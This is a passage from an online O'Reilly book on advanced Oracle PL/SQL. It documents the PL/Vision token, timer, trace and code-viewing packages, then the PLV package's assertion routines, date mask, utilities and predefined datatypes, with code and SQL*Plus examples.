c_od2k CONSTANT CHAR(4) := 'OD2K';
c_of CONSTANT CHAR(2) := 'OF';
c_or CONSTANT CHAR(2) := 'OR';
c_og CONSTANT CHAR(2) := 'OG';

These constants identify different categories or sets of reserved words for the PL/SQL language. The identifier SHOW_ALERT is, for example, a builtin in Oracle Forms, but has no significance in the stored PL/SQL code. Currently PL/Vision is aware of stored PL/SQL and Oracle Forms reserved words only.

5.26.2 The keyword record TYPE

TYPE kw_rectype IS RECORD
(token PLV_token%token,
token_type PLV_token%token_type,
is_keyword BOOLEAN);

A PL/SQL record TYPE defining a record holding information about a token.

5.26.3 Determining type of token

FUNCTION is_keyword
(token_in IN VARCHAR2, type_in IN VARCHAR2 := c_any)
RETURN BOOLEAN;

General function that returns TRUE if the specified token is a keyword or a reserved word in the PL/SQL language. You can, with the type_in argument, ask if the token is a particular type of token. You can also call any of the following more narrowly defined functions:

FUNCTION is_syntax (token_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_builtin (token_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_symbol (token_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_datatype (token_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_exception (token_in IN VARCHAR2) RETURN BOOLEAN;

Each of these functions returns TRUE if the specified token is an identifier of the type indicated by the name of the function.

5.26.4 Retrieving keyword information

PROCEDURE get_keyword (token_in IN VARCHAR2, kw OUT kw_rectype);

Retrieves all the information about the token provided in the parameter list.

Previous: 5.25 PLVtab: Table Interface | Advanced Oracle PL/SQL Programming with Packages | Next: 5.27 PLVtmr: Program Performance Analyzer
5.25 PLVtab: Table Interface | Book Index | 5.27 PLVtmr: Program Performance Analyzer
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.27 PLVtmr: Program Performance Analyzer

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.27 PLVtmr: Program Performance Analyzer

The PLVtmr (PL/Vision TiMeR) package allows you to measure the elapsed time of PL/SQL code; it provides a programmatic layter around the GET_TIME function of Oracle's DBMS_UTILITY package. See Chapter 14, PLVtmr: Analyzing Program Performance for details.

5.27.1 Control execution of timings

PROCEDURE turn_on;

Enables the timing package. All PLVtmr programs will execute as requested.

PROCEDURE turn_off;

Disables PLVtmr. Calls to timing programs will be ignored.

5.27.2 Setting the repetition value

PROCEDURE set_repeats (repeats_in IN NUMBER);

Sets the number of repetitions for all timing loops implemented inside the PLVtmr package (calibrate, func, currsucc, currfail).

FUNCTION repeats RETURN NUMBER;

Returns the current repetition value.

5.27.3 Setting the factoring value

PROCEDURE set_factor (factor_in IN NUMBER);

Sets the number of iterations when calling PLVtmr in a loop. This value allows PLVtmr to show total and individual elapsed times.

FUNCTION factor RETURN NUMBER;

Returns the current number of iterations.

5.27.4 Capturing the current timestamp

PROCEDURE capture (context_in IN VARCHAR2 := NULL);

Calls capture to capture the current timestamp (usually the start time of an elapsed time calculation). You can provide an optional context for the timing.

5.27.5 Retrieving and displaying elapsed time

FUNCTION elapsed RETURN NUMBER;

Returns the number of hundredths of seconds elapsed since last call to capture.

FUNCTION elapsed_message
(prefix_in IN VARCHAR2 := NULL,
adjust_in IN NUMBER := 0,
reset_in IN BOOLEAN := TRUE,
reset_context_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

Returns a standard message format around the value returned by elapsed.

PROCEDURE show_elapsed
(prefix_in IN VARCHAR2 := NULL,
adjust_in IN NUMBER := 0,
reset_in IN BOOLEAN := TRUE);

Displays the elapsed time message returned by elapsed_message.

5.27.6 Calibration and timing scripts

PLVtmr offers a set of predefined scripts and calibration programs to test comparative performances. You might find these particular programs useful; you might simply follow their example to construct your own.

PROCEDURE calibrate;

Calculates a base timing -- the amount of time required to execute the NULL statement the current number of repetitions (set through set_repetitions).

FUNCTION base_timing RETURN NUMBER;

Returns the current base timing.

PROCEDURE func;

Calculates the overhead of a function call.

PROCEDURE cursucc;

Compares the performance of implicit and explicit cursors when retrieving a row successfully.

PROCEDURE curfail;

Compares the performance of implicit and explicit cursors when failing to retrieve a row.

Previous: 5.26 PLVtkn: Token Table Interface | Advanced Oracle PL/SQL Programming with Packages | Next: 5.28 PLVtrc: Trace Facility
5.26 PLVtkn: Token Table Interface | Book Index | 5.28 PLVtrc: Trace Facility
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.28 PLVtrc: Trace Facility

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.28 PLVtrc: Trace Facility

The PLVtrc (PL/Vision TRaCe) package provides a generic trace facility for PL/SQL applications for use in debugging. See Chapter 21 for details.

5.28.1 Package constants

c_top_pos CONSTANT INTEGER := 0;

Name of position of top module in the call stack. The argument you would pass to the PLVtrc.module function to retrieve the topmost program in the execution call stack.

c_last_pos CONSTANT INTEGER := 2;

Name of position of most recent module in call stack. The argument you would pass to the PLVtrc.module function to retrieve the last program executed before the call to PLVtrc.module.

5.28.2 Controlling trace activity

PROCEDURE turn_on;

Turns on the trace, enabling output from calls to the programs described below.

PROCEDURE turn_off;

Turns off the trace.

FUNCTION tracing RETURN BOOLEAN;

Returns TRUE if the trace is active.

5.28.3 Writing to the PL/Vision log

PROCEDURE log;

Turns on logging of trace message to the PL/Vision log (see the PLVlog package), in addition to displaying the trace.

PROCEDURE nolog;

Turns off logging (the default).

FUNCTION logging RETURN BOOLEAN;

Returns TRUE if logging of trace messages is currently turned on.

5.28.4 Displaying current module

PROCEDURE dispmod;

Turns on display of current module when showing the trace message.

PROCEDURE nodispmod;

Turns off display of current module (the default).

FUNCTION displaying_module RETURN BOOLEAN;

Returns TRUE if PLVtrc is displaying the current module.

5.28.5 Accessing the PL/SQL call stack

FUNCTION ps_callstack RETURN VARCHAR2;

Returns the string generated by a call to DBMS_UTILITY.FORMAT_CALL_STACK.

FUNCTION ps_module (pos_in IN INTEGER := c_last_pos)
RETURN VARCHAR2;

Returns the nth module (specified by the user) in the PL/SQL execution call stack.

5.28.6 Tracing PL/SQL code execution

PROCEDURE startup
(module_in IN VARCHAR2, string_in IN VARCHAR2 := NULL);

Executes the first line of your programs. Maintains a PLVtrc execution stack, which is then available to other PL/Vision packages.

PROCEDURE terminate (string_in IN VARCHAR2 := NULL);

Executes as the last line of your programs. Removes the current program from the PLVtrc execution stack.

FUNCTION currmod RETURN VARCHAR2;

Returns the name of the current module as set by calls to the procedure PLVtrc.startup.

FUNCTION prevmod RETURN VARCHAR2;

Returns the name of the previous module as set by calls to the procedure PLVtrc.terminate.

5.28.7 Displaying an activity trace

The show procedure is heavily overloaded for different datatypes and combinations of datatypes, along the lines of the p.l procedure. In all cases, the information you pass to show is, well, shown if you have turned on the PLVtrc facility.

PROCEDURE show (stg1 IN VARCHAR2);
PROCEDURE show (bool1 IN BOOLEAN);
PROCEDURE show (num1 IN NUMBER);
PROCEDURE show
(date1 IN DATE, mask_in IN VARCHAR2 := PLV.datemask);

Single value shows.

PROCEDURE show (stg1 IN VARCHAR2, num1 IN NUMBER);
PROCEDURE show (stg1 IN VARCHAR2, bool1 IN BOOLEAN);
PROCEDURE show
(stg1 IN VARCHAR2, date1 IN DATE,
mask_in IN VARCHAR2 := PLV.datemask);

Two-value combination shows.

PROCEDURE show (stg1 IN VARCHAR2, num1 IN NUMBER, num2 IN NUMBER);
PROCEDURE show
(stg1 IN VARCHAR2, num1 IN NUMBER, bool1 IN BOOLEAN);
PROCEDURE show
(stg1 IN VARCHAR2, num1 IN NUMBER, date1 IN DATE,
mask_in IN VARCHAR2 := PLV.datemask);

Three-value combination shows.

PROCEDURE action
(string_in IN VARCHAR2 := NULL,
counter_in IN INTEGER := NULL,
prefix_in IN VARCHAR2 := NULL);

Displays a trace of a particular action; you provide a context, numeric code, and string for the action.

5.28.8 Accessing the PLVtrc execution call stack (ECS)

PROCEDURE showecs;

Displays the PLVtrc-maintained execution call stack.

PROCEDURE clearecs;

Clears the PLVtrc execution call stack.

FUNCTION ecs_string RETURN VARCHAR2;

Returns a string which contains the current PLVtrc execution call stack (ecs), with each module separated by a newline character.

FUNCTION module (pos_in IN INTEGER := c_top_pos) RETURN VARCHAR2;

Returns the nth module in the PLVtrc execution call stack.

Previous: 5.27 PLVtmr: Program Performance Analyzer | Advanced Oracle PL/SQL Programming with Packages | Next: 5.29 PLVvu: Code and Error Viewing
5.27 PLVtmr: Program Performance Analyzer | Book Index | 5.29 PLVvu: Code and Error Viewing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.29 PLVvu: Code and Error Viewing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.29 PLVvu: Code and Error Viewing

The PLVvu (PL/Vision View) package provides a set of programs that allow you to view both stored source code and compile errors. See Chapter 15, PLVvu: Viewing Source Code and Compile Errors for details.

5.29.1 Package constants

c_overlap INTEGER := 5;

The default and initial value for the number of lines to overlap around a line with a compile error.

5.29.2 Setting the overlap

PROCEDURE set_overlap (size_in IN INTEGER := c_overlap);

Call this procedure to change the size of overlap from the default described above. If you call set_overlap without any value, the size is set back to the default.

FUNCTION overlap RETURN INTEGER;

Returns the current number of overlap lines.

5.29.3 Displaying stored code

PROCEDURE code
(name_in IN VARCHAR2 := NULL,
start_in IN INTEGER := 1,
end_in IN INTEGER := NULL,
header_in IN VARCHAR2 := 'Code');

Displays some or all of the lines of source code for the specified object.

PROCEDURE code_after
(name_in IN VARCHAR2 := NULL,
start_with_in IN VARCHAR2,
num_lines_in IN INTEGER := overlap,
nth_in IN INTEGER := 1);

Displays some or all of the lines of source code for the specified object that come after the nth appearance of the specified string.

5.29.4 Displaying compile errors

PROCEDURE err
(name_in IN VARCHAR2 := NULL,
overlap_in IN INTEGER := overlap);

Displays the compile errors for the specified object, along with the immediately surrounding code. You can provide an override to the current number of overlap lines in the second argument.

PROCEDURE err (name_in IN VARCHAR2, type_in IN VARCHAR2);

Displays the compile errors for the specified object, along with the immediately surrounding code. In this version of err, you supply the program name and the program type separately (and rely on the default overlap). This is available primarily for backward compatibility to earlier versions of PLVvu.

Previous: 5.28 PLVtrc: Trace Facility | Advanced Oracle PL/SQL Programming with Packages | Next: III. Building Block Packages
5.28 PLVtrc: Trace Facility | Book Index | III. Building Block Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] PLV: Top-Level Constants and Functions

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: III. Building Block Packages Chapter 6 Next: 6.2 Setting the PL/Vision Date Mask

6. PLV: Top-Level Constants and Functions

Contents:
Null Substitution Value
Setting the PL/Vision Date Mask
Assertion Routines
PLV Utilities
The Predefined Datatypes
The Predefined Constants

Let's start our exploration into PL/Vision with the PLV package, which can be considered the lowest-level package or perhaps even the "miscellaneous" package. It provides a single collection point for constants and basic functions used throughout PL/Vision. Whenever I thought of something useful that was needed in more than one package but that did not belong in any particular functional package, it ended up in PLV.

The PLV (PL/Vision) package offers the following:

  • A NULL substitution value. You can set in PLV the string you want to use in place of NULL for display purposes.

  • A product-wide date mask. You can set a date mask that will be used throughout PL/Vision when converting and displaying dates. You can also use this mask yourself in SQL and PL/SQL.

  • A set of assertion routines. These programs help you construct more robust applications by letting you easily verify assumptions.

  • Miscellaneous utilities. You can obtain the current date and time, pause your PL/SQL program, obtain the error message for an Oracle error number, and more.

  • A set of constants used throughout PL/Vision. These named constants help users of PL/Vision (and packages within PL/Vision) avoid hard-coding literals.

  • Predefined datatypes. PL/Vision uses these datatypes as anchors (with the %TYPE declaration attribute) for declaring other variables. You might use them, too, or you might simply follow the example in your own applications.

The following sections show how to use each of the different elements in the PLV package.

6.1 Null Substitution Value

It has been my experience that when I display a variable that is NULL, I want to see some evidence of that fact. In fact, I have found that in several places in PL/Vision I want to be able to substitute a NULL value for some other string. Rather than hard code that value into my package, I added the ability in the PLV package to decide what the substitution value would be with the set_nullval procedure:

PROCEDURE set_nullval (nullval_in IN VARCHAR2);

The default value for NULL substitutions is the string NULL. You can obtain the current setting of the substitution value by calling the nullval function:

FUNCTION nullval RETURN VARCHAR2;

The p package makes use of the substitute value for NULLs. When you call p.l to display text that RTRIMs to a NULL, it will automatically display the string that you have specified for substitution. In the following example, I set the NULL substitution value to N/A and then demonstrate its use in a call to the p.l procedure.

SQL> exec PLV.set_nullval ('N/A');
SQL> VARIABLE v NUMBER;
SQL> exec p.l (:v);
N/A

Previous: III. Building Block Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 6.2 Setting the PL/Vision Date Mask
III. Building Block Packages | Book Index | 6.2 Setting the PL/Vision Date Mask
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.2 Setting the PL/Vision Date Mask

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

6.2 Setting the PL/Vision Date Mask

To standardize the way that date information is displayed inside PL/Vision, the PLV package maintains a PL/Vision date mask. This mask is used in the p, PLVtrc, PLVtab, and PLVlog packages to convert dates to strings.

The default date mask for PL/Vision is stored in the c_datemask constant and has this value:

FMMonth DD, YYYY HH24:MI:SS

The FM prefix is a toggle that requests suppression of all padded blanks and zeroes.

You can change the date mask with a call to set_datemask, whose header is:

PROCEDURE set_datemask (datemask_in IN VARCHAR2 := c_datemask)

Since the default value for set_datemask is the default date mask for PL/Vision, you can also reset the date mask to the default by calling set_datemask without any arguments.

You can retrieve the date mask (which is to say, you can use the date mask yourself) by calling the datemask function:

FUNCTION datemask RETURN VARCHAR2;

The following calls to set_datemask and the datemask function illustrate the behavior of these programs.

SQL> exec p.l(sysdate);
May 17, 1996 13:41:56

Change the date mask to show only month and year:

SQL> exec PLV.set_datemask ('Month YYYY');
SQL> exec p.l(sysdate);
May       1996

Change the date mask to suppress those extra spaces:

SQL> exec PLV.set_datemask ('fmMonth YYYY');
SQL> exec p.l(sysdate);
May 1996

Now return the date mask back to the default:

SQL> exec PLV.set_datemask
SQL> exec p.l(sysdate);
May 17, 1996 13:42:37

The following query uses the datemask function inside SQL to view the date and time of stored information (the PLV package makes this function accessible in SQL by including a RESTRICT_REFERENCES pragma):

SQL> SELECT TO_CHAR (hiredate, PLV.datemask)
  2    FROM emp
  3   WHERE deptno = 10;

TO_CHAR(HIREDATE,PLV.DATEMASK)
--------------------------------------------------
November 17, 1981 09:18:44
June 9, 1981 11:11:32
January 23, 1982 17:01:00

Previous: 6.1 Null Substitution Value | Advanced Oracle PL/SQL Programming with Packages | Next: 6.3 Assertion Routines
6.1 Null Substitution Value | Book Index | 6.3 Assertion Routines
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.3 Assertion Routines

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

6.3 Assertion Routines

PL/Vision provides a set of generic routines you can use in your own programs to assert the validity of your program's assumptions. Just about every piece of software you write makes assumptions about the data it manipulates. For example, parameters may have only certain values or be within a certain range; a string value should have a certain format; an underlying data structure is assumed to have been created. It's fine to have such rules and assumptions, but it is also very important to verify or "assert" that none of the rules is being violated.

The cleanest way to perform this task is to call a prebuilt assertion routine (see Chapter 20 in Oracle PL/SQL Programming). The PLV package offers a variety of procedures to allow you to validate assumptions in the most natural possible manner. In all cases, if the assumption is violated the assertion program will take up to two actions:

  1. Display a message if provided. This string is optional and the default for the string is NULL.

  2. Raise the assertion_failure exception. You can then handle this exception in the program that called the assertion routine, or you can let the exception terminate that program and propagate to the enclosing block.

The PLV assertion routines come in the following flavors:

Procedure Name | Description
assert | Generic assertion routine. You pass it a Boolean expression or value and assert tests to see if that expression is TRUE.
assert_inrange | Generic assertion routine to check date and numeric ranges. You provide the value to be checked along with start and end values. If the value (either date or number) does not fall within the specified range, assert_inrange
assert_notnull | Generic assertion routine to check that the specified value is NOT NULL.

The assert procedure is the most generic of the assertion routines. It is called, in fact, by the other assertion routines. The header for assert is as follows:

PROCEDURE assert
   (bool_in IN BOOLEAN, stg_in IN VARCHAR2 := NULL);

6.3.1 Using the assert Procedure

Let's take a look at how to incorporate assertion routines in your code, and then examine the impact. The following procedure translates a code into a description string. There are only three valid codes, an assumption that is validated by the call to PLV.assert:

CREATE OR REPLACE FUNCTION calltype (code_in IN VARCHAR2)
   RETURN VARCHAR2
IS
   retval VARCHAR2(100) := NULL;
BEGIN
   PLV.assert
      (code_in IN ('E', 'C', 'I'), 'Enter E C or I...');
   IF code_in = 'E'
   THEN retval := 'EMERGENCY';
   ELSIF code_in = 'C'
   THEN retval := 'COMPLAINT';
   ELSIF code_in = 'I'
   THEN retval := 'INFORMATION';
   END IF;
   RETURN retval;
END calltype;
/

Notice that I pass a complex Boolean expression as an argument to the assert routine. This may seem odd at first glance, but you will get used to it quickly. A program's Boolean argument can be a literal, a variable, or an expression.

Now we will try using the calltype function by embedding it in calls to the p.l procedure so that we can see the results.

In the first call to calltype below, I pass a valid code and p.l displays the correct returned description. In the second call to calltype, I pass an invalid code, J. As a result, the assertion routine displays the message as specified in the function and then raises the exception, which goes unhandled.

SQL> exec p.l(calltype('E'));
EMERGENCY
SQL> exec p.l(calltype('J'));
Enter E C or I...
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception

The error is displayed as a "user-defined exception" because PLV.assert raised the assertion_failure exception, which is not a system exception. You can trap for that exception as shown below:

BEGIN
   p.l (calltype ('J'));
EXCEPTION
   WHEN PLV.assertion_failure
   THEN
      p.l ('Invalid call type code');
END;

6.3.2 Asserting NOT NULL

The other assertion routines are designed to handle specific kinds of assertions that programmers must commonly handle. The assert_notnull routine, for example, allows you to easily make sure that an argument to a program is NOT NULL.

Without an assertion routine, you will write variations of code like this over and over again in your programs:

IF code_in IS NULL
THEN
   p.l ('The code cannot be null!');
   RAISE VALUE_ERROR;
ELSE
   act_on_code (code_in);
END IF;

With PLV.assert_notnull, you simply attempt to assert the rule. If the code "passes," you move on to your action:

PLV.assert_notnull (code_in);
act_on_code (code_in);

You save on the typing and your indentation flattens out, thereby improving the readability of your program.

PLV offers four overloadings of assert_notnull, so you can pass it Booleans, strings, dates, and numbers.

6.3.3 Asserting "In Range"

The range assertion routines will probably save you the most code and provide a higher level of coverage of problem data. PLV offers two overloaded assert_inrange programs: one for dates and one for numbers.

The date range assertion routine header is:

PROCEDURE assert_inrange
   (val_in IN DATE,
    start_in IN DATE := SYSDATE,
    end_in IN DATE := SYSDATE+1,
    stg_in IN VARCHAR2 := NULL,
    truncate_in IN BOOLEAN := TRUE);

The first three arguments should be clear: You provide the value you want to check, as well as the start and end dates. Notice that the default start date is SYSDATE or "now" (at midnight) and the default end date is SYSDATE+1 or "tomorrow" (at midnight). The fourth argument, stg_in, is the optional string for display.

The fifth parameter, truncate_in, allows you to specify whether or not you want the end-point dates to be truncated. When a date is truncated (with the default mask, which is your only option in assert_inrange), the time portion is removed. The default setting for this argument is to perform truncation. I offer this option because in many cases when developers want to perform date range checks, they do not want to have to deal with the time component. That aspect of a date variable can, in fact, cause "obviously correct" dates to fail.

The default values of assert_inrange for dates is designed to allow you to assert with a minimum of typing that a date falls on the current day. Consider this call to the assertion program:

IF PLV.assert_inrange (v_hiredate)
THEN
   ...

If no other arguments are specified, then PLV checks to see if

v_hiredate BETWEEN TRUNC (SYSDATE) AND TRUNC (SYSDATE+1)

which, given the way TRUNC works, asks: "Is hiredate between midnight of last night and midnight of the coming night?" In other words, does v_hiredate fall anywhere during the current day?

The numeric assert_inrange is more straightforward. As you can see from the header below, there is no truncate argument. It simply checks to see if the specified number falls within the specified range.

PROCEDURE assert_inrange
   (val_in IN NUMBER,
    start_in IN NUMBER,
    end_in IN NUMBER,
    stg_in IN VARCHAR2 := NULL);

The following procedure updates the salary of an employee, but only if the new salary does not exceed the maximum salary allowed in the system (returned by the personnel package max_salary function):

PROCEDURE update_salary
   (emp_in IN emp.empno%TYPE, newsal_in IN NUMBER)
BEGIN
   PLV.assert_inrange (newsal_in, 0, personnel.max_salary);
   UPDATE emp
      SET sal = newsal_in
    WHERE empid = emp_in;
END;

If you are careful and consistent in your use of assertion programs like those in the PLV package, your programs will be more robust and less likely to fail in unpredictable ways.

Previous: 6.2 Setting the PL/Vision Date Mask | Advanced Oracle PL/SQL Programming with Packages | Next: 6.4 PLV Utilities
6.2 Setting the PL/Vision Date Mask | Book Index | 6.4 PLV Utilities
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.4 PLV Utilities

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

6.4 PLV Utilities

PL/Vision comes with a set of utility procedures and functions. These programs offer shortcuts to executing commonly needed operations or information in PL/SQL programs. In some cases, the utility exists simply to make it possible to access the information from within a SQL statement. These programs are described below.

6.4.1 Converting Boolean to String

The boolstg function translates a Boolean expression into a string describing that Boolean's value. The header for boolstg is:

   FUNCTION boolstg
      (bool_in IN BOOLEAN, stg_in IN VARCHAR2 := NULL)
   RETURN VARCHAR2;

The second argument allows you to pass a string that is prefixed to the string describing the Boolean (TRUE, FALSE, or NULL). The various ways to call PLV.boolstg are illustrated below:

SQL> exec p.l(PLV.boolstg (TRUE));
TRUE
SQL> exec p.l(PLV.boolstg (TRUE, 'This is'));
This is TRUE

6.4.2 Obtaining the Error Message

The errm function provides a PL/SQL function interface to the SQLERRM builtin function. You cannot call SQLERRM in a SQL statement, which is annoying when you have error information in a SQL database table and you want to display the corresponding error message text. You want to do something like this:

SELECT errcode, SQLERRM (errcode)
  FROM error_log
 WHERE create_ts < SYSDATE;

but the SQL layer returns this error message:

ORA-00904: invalid column name

The errm function allows you to use SQLERRM inside SQL by hiding that builtin behind the function interface and by using the RESTRICT_REFERENCES pragma in the specification. With PLV, you change that SQL statement to:

SELECT errcode, PLV.errm (errcode)
  FROM error_log
 WHERE create_ts < SYSDATE;

and get the information you need to analyze and fix your problems.

6.4.3 Retrieving Date and Time

The now function is simply a quick way to display the current date and time. Its header is:

FUNCTION now RETURN VARCHAR2;

I built PLV.now because I got tired of typing:

SELECT TO_CHAR (SYSDATE, 'HH:MI:SS') FROM dual;

just to see the current time. With PLV.now, you can at any point see both the date and time from within SQL*Plus with either of these commands:

------------------------------------------
SQL> SELECT PLV.now from DUAL;
------------------------------------------

August 3, 1996 20:19:35

SQL> exec p.l(PLV.now);
August 3, 1996 20:20:48

6.4.4 Pausing Your Program

The pause procedure of the PLV package provides a cover for the DBMS_LOCK.SLEEP procedure; its header is:

PROCEDURE pause (seconds_in IN INTEGER);

Why bother providing this pause program, when it is nothing more than a call to the builtin SLEEP procedure? Most PL/SQL developers will never use the DBMS_LOCK package; few of us need to create and manipulate locks with the Oracle Lock Management services. Yet this package contains SLEEP because it is the context in which Oracle developers realized they needed this capability.

The PLV.pause procedure offers, at least within PL/Vision, a more rational location for this technology.

The following "infinite" loop uses PLV.pause to make sure that there is an hour's delay between each retrieval of data from a DBMS_PIPE named hourly_production.

LOOP
   process_line_data ('hourly_production');
   PLV.pause (60 * 60);
END LOOP;

Previous: 6.3 Assertion Routines | Advanced Oracle PL/SQL Programming with Packages | Next: 6.5 The Predefined Datatypes
6.3 Assertion Routines | Book Index | 6.5 The Predefined Datatypes
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.5 The Predefined Datatypes

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

6.5 The Predefined Datatypes

The PLV package provides several centrally located, predefined datatypes. These elements are used throughout PL/Vision, but you can make use of them as well.

The two variables that are to be used as predefined datatypes are the following:

plsql_identifier VARCHAR2(100) := 'IRRELEVANT';
max_varchar2 VARCHAR2(32767) := 'IRRELEVANT';

Use the plsql_identifier variable whenever you need to declare a VARCHAR2 variable or constant that holds a PL/SQL identifier, such as a table name or column name or program name. Currently these names are limited to 30 characters. That may, however, change in the future and you will find errors popping up in your utilities if you declare variables like this:

v_table_name VARCHAR2(30);

Instead, use the predefined datatype as follows:

v_table_name PLV.plsql_identifier%TYPE;

Use the max_varchar2 variable whenever you need to declare a string variable to the maximum number of characters allowable in PL/SQL. Again, today that maximum size is 32,767, but this value may increase in the future. By relying on max_varchar2 in your declarations and parameter definitions, you (or the supplier of PL/Vision) can change the definition in one place and, with a compile, upgrade all your code.

NOTE: Do you notice any conflict between the declarations of these predefined datatypes and the best practices I described earlier in this book? I have declared variables in my package specification; the best practice recommends strongly that you always hide your data structures in the package body. At the very least, you might be thinking, I should make the plsql_identifier and max_varchar2 data structures constants, so their values cannot be changed.

Well, take a look at the default value for these variables. It doesn't matter what value is assigned to these variables. They are only to be used in %TYPE anchored declarations to pass on the datatype and constraint. And I couldn't make them CONSTANTs even if I wanted to (I tried that on the first pass). It turns out that you cannot anchor variables to constants; if you want to use %TYPE, you must remove the CONSTANT keyword.

Previous: 6.4 PLV Utilities | Advanced Oracle PL/SQL Programming with Packages | Next: 6.6 The Predefined Constants
6.4 PLV Utilities | Book Index | 6.6 The Predefined Constants
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.6 The Predefined Constants

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

6.6 The Predefined Constants

In addition to the predefined datatypes, the PLV package offers a set of constants that are used throughout PL/Vision. These constants define the type of input or output repository you want to use in a given situation. These constants are used in PLVio, PLVlog, and PLVexc. The input/output options in PL/Vision are shown in the following table.

Description | Constant
Database table | dbtab
PL/SQL table | pstab
Operating system file | file
VARCHAR2 string | string
Standard output | stdout

For example, if you want to define the target repository of the PLVio package to be a PL/SQL table, you will issue this command:

SQL> exec PLVio.settrg (PLV.pstab);

If you want PLVlog to write its information to an operating system file, you will execute this command:

SQL> exec PLVlog.tofile;

which in turn sets the v_log_type variable to the PLV.file constant.

Special Notes on PLV

Once you build a package like this, you will find yourself constantly adding to it. Be careful not to throw in constants and programs that really do have a place in another, less generic package.

The boolstg, errm, and now functions of PLV can all be used from within SQL statements, since the package specification for PLV includes calls to the RESTRICT_REFERENCES pragma.

The errm function is a good example of how you can use a layer of your own PL/SQL code around native PL/SQL builtins (SQLERRM) to make the information more widely accessible (i.e., callable from within SQL statements).

Previous: 6.5 The Predefined Datatypes | Advanced Oracle PL/SQL Programming with Packages | Next: 7. p: A Powerful Substitute for DBMS_OUTPUT
6.5 The Predefined Datatypes | Book Index | 7. p: A Powerful Substitute for DBMS_OUTPUT
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] p: A Powerful Substitute for DBMS_OUTPUT

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 6.6 The Predefined Constants Chapter 7 Next: 7.2 The Line Separator

7. p: A Powerful Substitute for DBMS_OUTPUT

Contents:
Using the l Procedure
The Line Separator
The Output Prefix
Controlling Output from p

The p (PL/Vision Put) package is one of the first and simplest packages I ever built. It is also one of my favorites. The concept is clear, the payback immediate and everlasting. It also demonstrates some of the key advantages of PL/SQL packages in general.

